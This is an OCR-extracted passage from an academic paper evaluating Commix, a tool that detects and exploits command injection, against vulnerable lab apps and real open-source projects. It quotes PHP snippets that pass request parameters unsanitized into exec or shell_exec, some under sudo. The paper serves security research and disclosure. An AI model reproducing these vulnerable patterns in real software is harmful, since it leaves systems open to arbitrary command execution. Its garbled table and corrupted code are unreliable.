and exploitation capabilities of Commix with other tools.
In the third set of experiments, we have evaluated Com-
‘mix against real-world applications to detect 0-day command
injection vulnerabilities (.e., vulnerabilities which have not
been reported before),
Inall experiments, we have used PHP as the server-side
language for the Web applications for the following reasons
() PHP is a popular programming language for server-side
‘Web applications and used by various CMS (¢.g., Wordpress,
Drupal, etc.) (ii) it is free and easy to setup a develop-
‘ment environment and (ii) there are several open-source PHP
projects available in public repositories that we can perform
a security assessment, In all the following examples as well
as in the experiments, we have considered a typical Web
server setup with Linux as the underlying OS, and speci
cally a Debian distribution that uses Bash asthe default shell
‘The only exception in the above setup was in the second set
of experiments where we used also a Windows 2003 server
R2 to evaluate two ASPNET vulnerable applications (see
Sect, 7.2)
7.1 First set of experiments: virtual lab applications
‘Toperform the frst set of experiments, wehave collected aset
of free, open-source, Web applications that are vulnerable to
‘command injections. These vulnerable Web applications are
also called virtual lab applications, because their main goal
is to provide a safe and legal environment for developers
to understand and Jeam Web application security, as well
as facilitate security professionals o test the effectiveness
of their own tools. Table 3 presents the results of the first
set of experiments, In particular, it depicts the virtual Ieb
applications, the filename that included the vulnerability and,
finally the type of command injection that Commix achieved
to deteot and exploit. In many cases, the vulnerabilities in
‘command injection attacks may correspond to more than one
technique, meaning that vulnerability can be exploited using
zmore than one exploitation methods
Damn Vulnerable Web App (DVWA)[30] is a free, open-
source PHP/MySQL Web application that supports three
different security levels, low, medium and high. The low
level is meant to simulate @ website with no security at al:
the medium level is meant to simulate a website that applies
input validation, but still vulnerable; while the high level is
meant to be secure and cannot be exploited. In low security
level, Commix successfully identified and exploited classic
result-based, time-based blind and file-based semiblind com-
mand injection vulnerabilities. Subsequently, in the medium
security level, although some security measurements were
applied (ie., characters blacklisting), Commix was able to
exploit the vulnerable application via classic resull-based,
time-based blind and file-based semiblind command injec-
tion attacks. All the vulnerabilities were identified in the
“ip” POST parameter of “vulnerabilities/exec/”. Finally, it
is worth noting that in the high security level, Commix did
not detect any vulnerability as expected, because this level is
not meant to be exploitable.
Extremely buggy Web app (bWAPPI[31] includes two Web
applications vulnerable to command injections. Similarly to
DVWA, DWAPP also supports three different security lev-
els, low, medium and high, which range from completely
vulnerable to secure. In the first Web application, in the
low security level, classic result-based, time-based blind
‘and file-based semiblind exploitable command injection vul-
nerabilities were successfully identified. Moreover, in the
‘medium security level, although some security measure-
ments were applied (i.c., characters blacklisting), Commix
detected classic result-based, time-based blind and file-based
semiblind exploitable command injection vulnerabilities,
The vulnerabilities were discovered in the “target” POST
parameter of “commandi php” page. On the other hand,
in the second Web application, in both low and medium
security level, only time-based blind and file-based semib-
lind command injection vulnerabilities were identified. The
‘vulnerabilities of the second challenge were discovered in
the “target” POST parameter of the “commandi_blind php’
page. It is worth noting once again that in the high security
level Commix did not detect any exploitable vulnerability.
OWASP Matilde I[32] isa Stee, open-source, deliberately
‘vulnerable Web application. As previously, OWASP Mutil-
lidae includes three different security levels, low, meditm
and high. In low security level, Commix identified classic
result-based, time-based blind and file-based semiblind com-
‘and injection vulnerabilities. Inthe medium security Teel,
although some security measurements were applied (.e.,
characters blacklisting), Commix was able to expoitthe vule
nerable application via classic result-based, time-based blind
and file-based semiblind command injection attacks. All the
‘vulnerabilities were found in the “target_host” POST param-
cter of “dns-lookup php". Once again in the high security
level, Commix did not detect any exploitable vulnerability
Pentester Labj33] has an exercise named Web for Pen-
tester, which includes three Web applications with command
injections vulnerabilities. Commix was able to detect these
vulnerabilities in the “ip” GET method parameter.
Command-InjectiontSO (Pentester Academy)[34] is a col-
lection of ten preinstalled real-world vulnerable applications,
‘Commix, identified and exploited the following applications.
Basilic 15.14", “AjaXplorer 2.6", "PHPTax 08”, “PHP.
D springer A. Stasinopoules tal
x - x x qd gadcoqey>
x x x x yb soRuote4s
x x x x qt yaSeaqeq>
x x x x iuateys
x x x x qe za802qe92
x x x x ay s8u2q E49
x x x x Buus" atur gd oaSu2qe4> He CHONO
x x - x owe SyuosymyXWouDeCHHoNs we sour,
x - x x - Homous oss Targa
- - x - ond gdp oe swomoT
x - aa yeaa oT sma ana
x x - ~ ompd gdp so sata
x x - x sans! ad ese paN? se smmrdxely
x x - x Pre dan
x x - x wo axe
x x - x om gasp erst oma
x x nd garda
- - - x age zayiexs
x x - x adeno spysong 203 gong eT MIS
x x - x cumpayy ow 23m aye ényooy-sup
x x - x wor soir ey ye dny0or SP 1 >eprtmnny aS¥MO
x x oie) {gd pong parents
x x - - vein gd pay
x x - x amy qdyprwaraos
x x - x ite agdrparmes — (gayyag) woneande gay, rowpomrg-pa
x x - ~ ams gds0)our SABAOHIOGE
x x - - pu dydronuoapmnayreauoss96g.2571 snort
x x - - paws gd pus" oeeoscar arypay,
x x - x soap yen rowenta
x x - x nd gd oust someuoqemmneey
x x proassed piss avons" yowonnsy so9ps09iea
Powgerd _pORqaWRL __uORERTEARaP=D sREEUKG pose pu aGEUTA oo
Springer
as A. Stasinopoules tal
takes arguments through the “input” GET parameter (as
shown in the code snippet below). Commix detected that the
venerate php” page is vulnerable to time-based blind and
file-based semiblind command injection attacks.
scat Tt input")
RpilRRemot[39] is a free and open-source application that
allows a user to control its TV/TVbox by smartphone and
Raspberry Pi. Commix detected that RpiIRRemote is prone
to command injection vulnerabilities in the “izphp" file
‘More specifically, the “irphp” file is taking the device name
and a command as arguments through the “device” and
‘cmd” GET or POST parameters, respectively, as shown in
the code snippet below. Then, it executes the “irsend” com
mand (.¢., to sendiinfrared commands) followed by the name
‘of the device and the desired command. Both parameters (i..,
device, cmd) were identified tobe vulnerable to classic result-
based, time-based blind and file-based semiblind command
injection attacks
F(Gemaae Sdevice) (
Somdline = "irsend SEND_ONCE *, $device
+. Send ; echo (Sendline);
Soutpur = shell_exec(Sendiine); echo
Soutput)
$output = #hell_exec{Sendline);
ecko (5.
Red’ Alert[40] is an open-source notification system for the
Microsoft PowerBI [41], where the main controller runs
‘on a Raspberry Pi. Commix discovered that it is prone
to command injection vulnerabilities in the “missile/mis-
sile_emd php” file. More specifically, the “missile/mis-
sile_emd.php" file is taking a command (Le., tight, left,
up, down, fire, sleep, park, led) and a value as arguments,
‘through the “cmd” and “val” GET parameters, respectively,
as depicted in the code snippet below. Then, via Yexce()” PHP
function, the main “missile py” python scriptis executed, fol-
lowed by the desired command and a value, Both parameters
Ge., cmd, val) were identified tobe vulnerable to time-based
blind and file-based semiblind command injection attacks
that allow an attacker to execute arbitrary commands on the
targethost system, with root privileges, since the “sudo” com
rand is preceded,
Soma = SORT vena")
Sval = S_oRT[7val’}
exec(*eudo python migeile.py send ¢val
D Springer
UGHT{42] is an open-source project which uses a Rasp-
berry Pi with relays to control lights from a Web interface
‘or from an android application. Comix discovered that this
application is prone to command injection in “LIGHTserver/-
vvar/www/control.php” file. More specifically, this file takes
‘command through the “cmd” GET parameter, as presented
in the code snippet below. After that, via “exec()” PHP func-
tion, the desired commands executed. The “cmd” parameter
identified (o be vulnerable o time-based blind and file-based
semiblind command injection attacks, allowing an attacker
to execute arbitrary commands with root permissions,
scone
RobotRoverV5[43] is an open-source project for an ardiuino
robot with DFRobottomeo and distance sensor on servo.
fier the audits we performed against “RobotRoverVS
application, Commix discovered that itis prone to command
injection vulnerabilities in “motorphp” file, More specifi
cally, the “motor php” file takes the value ofthe state variable
through the “state” GET parameter, as shown in the code
snippet that follows. Depending on the state which is speci-
fied by the uses, a predefined command and a predefined state
are combined and executed via the “exec()” PHP function.
Asin the previous cases, the “state” parameter was identified
tobe vulnerable to time-based blind and file-based semiblind
‘command injection attacks.
Sstate = s_cerl
f($stace == 3)¢
Send = ‘sudo /ete/init.a/dire_aute
Sstal
exec (Fond
sstatens
elseif(sstace == 2)(
fom sudo /ete/init.a/dire_auto ";
exes (Send ate):
Sema = "sudo python /var/ www
dire_manual.py *";
getace = "19";
exec (Send .$atate):
dire_manual py";
exec (send. sacace}
EEG-Based-BCI[44] is an open-source project to obtain EEG.
(electroencephalogram) signals from a neuroheadset and
process the subsequent data produced for classification Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
‘of objects, Commix discovered that it is prone to com
‘mand injection vulnerabilities in “eallScripts.php" file, More
specitically, che “callSeripts.php” file takes a label through
the “label” POST parameter, as depicted in the code snippet
below. Next, via“shell_exec()” PHP function, the “main bat’
script is executed, which in turn it executes the “main.py”
python script, followed by the “label” POST parameter. The
“label” parameter is not sanitized, and therefore, the applica-
tion was identified to be vulnerable to time-based blind and
file-based semiblind command injection attacks
(empty ($_Post (‘Label "})}
shell_exec{"start end /k code\\main.bat
Cl\\python27\python. exe")
exec { "start ema /k code\\main.bat
Cu\\Python27 \python exe *
tabel']):
s Post [”
irace[45] is an open-source Web traceroute utility, which
finds out the route taken by packets across an IP network,
‘Commix discovered that the “iTrace” application is prone
to command injection in “waceroute php” file. To be more
specific, the “traceroute.php" file is taking the maximum
‘number of hops and the hostname as arguments through the
‘nops” and “host” POST parameters, respectively, as shown,
in the code snippet that follows, Then, via the “exec()” PHP
function, the “traceroute -m” command is executed, which is
used fo set the max number of hops. Both parameters (hops,
host) were identified to be vulnerable to classic result-based,
time-based blind and file-based semiblind command injec-
tion attacks.
fa = array
Semd = ‘traceroute -m
1.11. Spost(*h
exes (Send, Sal
reach ($a AS Sx)
echo *$rebr/>*
POST I ‘hops’
sree os
‘wsn-ip-interoperability[6) is an open-source application to
‘reate wireless sensor networks. This application is vulner-
able in the “web/script/action.php” file. To be more specific,
the “web/scriptaction php” file is taking three of GET
parameters “status”, “relay” and “atmy” as arguments (see
in the code snippet below). Via “exec” PHP function, the
application executes the “xbee.py” python script, followed
by the aforementioned commands. All parameters (status,
relay, atmy) were identified to be vulnerable to time-based
blind and file-based semiblind command injection attacks.
SLORT[’ status");
s_GET['relay’];
s_Get{'atmy']:
"python /root/xhee. py
gat
exec (Scommand)
ve Satmy . 1". Srelay
raspberry-pi-camera-control-phpl7]is an open-source appli-
cation that helps the user to control a Raspberry Pi camera
‘module via Apache server and PHP. Commix detected vul-
nerabilites in the “stil. php" file. To be more specific, the
“stil. php” file takes several GET parameters as arguments
{as shown in the code snippet below), followed by the “raspis-
1ill -nopreview -o /opttemphest01 jpg” command, whi
‘generates an image according to the characteristics entered
by the user. The above command is assigned to a “Scom-
mand” variable. Then, the “command” variable is escaped
(see Sect. 7) by using the “escapeshellemd()” PHP func-
tion, creating another variable named “Sescaped_command
‘The application, instead of using the escaped variable (Ge.
Sescaped_command), it erroneously uses the unescaped (i.
‘Scommand) as argument in the PHP function, mak-
ing il vulnerable (o classic result-based, time-based blind
and file-based semiblind command injection as Commix
detected.
SGonmand = ‘raspistill --nopreview -o
yopt/temp/test0l. jpg '.$quality
Swidth. height . $verbose. $timeout
Sencoding. $timelapse.Ssharpness
Scontrast . $saturation. $180. svatab
Sev. Sexposure. favb.$inxix. $coltx
§netoring. $rotation. $hflip.svflip.*
aeer*
Sescaped_conmand = escapeshellema(
$command}
exec{scommand, Stest, §retval);
wp-plugin-grunt[48} is a free and open-source wordpress
plugin to manage the user's project using grunt. Commix
detected that the application is vulnerable to classic result-
based, time-based blind and file-based semiblind command
injection in the “wp-plugin-grunt php” file. In particular, the
‘wp-plugin-grunt php” file takes a command through the
‘command” POST parameter, as presented below. After that,
vvia “shell_exec()” PHP function, the desired command is
executed.
fanesion my_action_callback 0) ¢
global Swpab ia is how you ge
Senvironment ost [env
sres shell_exec (
pment "1;
onge S_P0ST |‘ command
y
D springer A. Stasinopoules tal
senv
ronmen Sresponse
on( ‘extra_post_inte’ }
Linux-webui[49] is an open-source simple Web control panel
forLinux servers. Commix discovered that itis prone to clas-
sic resull-based, time-based blind and file-based semiblind
‘command injection attacks in “shellscripts/catile,php" file
‘To be more specific, the “shellscripts/eatile php” file takes a
file as argument through the “file” GET parameter (as shown
below) and then, via the “shell_exec)” PHP function, the
at” command is executed, which is used to output the con-
tents of a specific file.
© (iesect
stile
echo
cer(sfite})) ¢
‘file’
shell_exec ("eat
“.stiter.*
SMRTHAUS[50] is a free and open-source home automa
tion platform that rans on Rasberry Pi and allows for a
customizable home automation. Commix detected vulner-
abilities in the ‘remove. device php” file, More specifically,
the “remove_device php” file takes a device name through
the “deviee” POST parameter, as shown in the code snip-
pet that follows. After that, via “exec” PHP function,
the “remove_device.py” python script is executed, which
removes a desired device, followed by the device name. The
‘device” parameter was identified as vulnerable to classic
result-based, time-based blind and file-based semiblind com-
‘mand injection attacks.
$file = fopen(*remove_iog.txt
fwrite($fiie, $_post(*device I};
close (stile);
echo exec (‘python renove_device py
s_vost [*device"])
‘Wake-on-LANis an Bthernet networking standard that allows
a server to be turned on by a network message. The wake-
‘omLAN plugin [51] allows a user to scan a network,
add, save and delete computers from it, After the audits
we performed against the wake-on-LAN plugin, Commix
discovered that it is prone to command injection vulnera-
bilities on “include/wake php” file. To be more specific, the
“include/wake php” file is taking the network interface and
the mac address, as arguments, through the “ifname” and
D Springer
“mac” POST parameters, respectively, as shown in the code
snippet that follows. Then, it executes the “etherwake -i
command, which is used to send a Wake-On-LAN “Magic
Packet” under Linux OS. Both parameters (i.,ifsame, mac)
‘were identified to be vulnerable on time-based blind and file-
based semiblind command injection attacks.
Sconmand = "etherwake -i *.$_posTI"
ifnane* SPOS [ "mae" Ty
exec (Scommand) +
‘Changeling|52} is open-source application that is described
fas a network security drop box. The command injection
vulnerabilities were found in PHD files “/princesspi/D!
Detectiverexec/exec_ping php" and “/princessp/DNSDetec-
tivelexec/exec._ traceroute php”. More specifically, inthe case
of the “exec_ping.php” file, as depicted in the code snip-
pet below, the application executes a ping operation via
the “exec()” PHP function, while taking the host's name
or IP as arguments through the “domain” POST parameter.
‘The execution’s resulls were printed using the PHP fune-
tion, “print_1)” [53]. Thus, we successfully identified classic
esult-based, time-based blind and file-based semiblind com-
‘mand injections on the “domain” POST parameter of the
“exee_ping php" file
f($_post(*domain’))
exec{*ping -e 4 ($_POST[’domain’]}",
Soutput, Sstacus);
print_r(Seutpath;
Regarding the “exec_traceroute php" file, the application
executes a traceroute operation through the “exec()” PHP
function (see in the code snippet that follows), while taking
the hostname as an argument via the “domain” POST param-
ter. After that, it stay silent for 15s and finally, by using
the "print_rQ” [53] PHP function, the execution’s results are
printed back, Using Commix, we successfully identified clas-
sic result-based, time-based blind and file-based semiblind
command injections on the “domain” POST parameter of
the “exee_ping php” file.
